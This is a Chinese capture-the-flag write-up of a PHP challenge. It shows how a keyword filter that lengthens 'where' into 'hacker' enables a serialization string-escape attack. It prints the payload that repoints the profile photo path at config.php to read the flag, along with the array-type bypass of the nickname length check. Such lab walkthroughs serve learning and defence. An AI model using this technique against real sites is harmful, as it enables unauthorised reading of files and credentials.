一开始没思路 到网上搜了一下 才想起来扫目录
这里给自己提醒下 以后没思路就抓包和扫目录
拿到源码:
代码审计 是一个难题 对于目前的我 未来要加强这方面的能力
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
注意到在profile页面里 有文件读取 file_get_contents函数 所以可以在这里想办法读取flag的文件
去看序列化的链子
注意到 update里有序列化的地方,所以可以在这里进行序列化的构造
先注册 注册完后登陆进来 然后到这个信息编辑页面 这里就需要用到burpsuite抓包 然后改文件要发过去的信息 来实现我们序列化的构造
这时候就抓到了 我们分析代码
class user extends mysql{
private $table = 'users';
public function show_profile($username) {\
// 存在过滤,关键字update被过滤,无法通过更新,修改photo路径
$username = parent::filter($username);
// 存在字符替换,利用此方法可以进行字符逃逸反序列化
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
<?php
require_once('class.php');
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
?>
每次上传的时候 会把序列化后的信息进行过滤 在filter函数中
这里就可以实现字符逃逸了
这里从where到hacker是5变6 存在一个字符逃逸 所以可以利用where来实现
构造序列化代码
<?php
$profile['phone'] = '11111111111';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'swaggyo';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:14:“[email protected]”;s:8:“nickname”;s:7:“swaggyo”;s:5:“photo”;s:10:“config.php”;}
得到该序列化 这时候就开始构造字符逃逸
";s:5:"photo";s:10:"config.php";}
需要逃逸部分为这段字符串 其长度为33 所以需要33个where
<?php
function filter($string) {
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
echo strlen('";s:5:"photo";s:10:"config.php";}');
$profile['phone'] = '11111111111';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
$a= serialize($profile);
$a=filter($a);
echo $a."\n";
$b=unserialize($a);
echo var_dump($b);
?>
成功逃逸了
但是在环境里 我反序列化一直在失败 看到网上人这里构造的是
";}s:5:"photo";s:10:"config.php";}
原因是 原函数对nickname长度进行了限制
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
想要绕过 就将其改外nickname[]类型 但改成nickname[] 这里就需要一个}了
找到被base64的读出的config.php文件 解码
补充:数组类型的序列化结果:
<?php
class wzk{
public $a='1';
public $cars=array("porsche","BMW","Volvo");
}
$t=new wzk();
echo serialize($t);
?>
O:3:“wzk”:2:{s:1:“a”;s:1:“1”;s:4:“cars”;a:3:{i:0;s:7:“porsche”;i:1;s:3:“BMW”;i:2;s:5:“Volvo”;}}
可以看到 数组内内容是被一组{}单独包裹起来的 所以我们在刚刚那里 需要一个}使得数组提前闭合 ,否则会出现错误。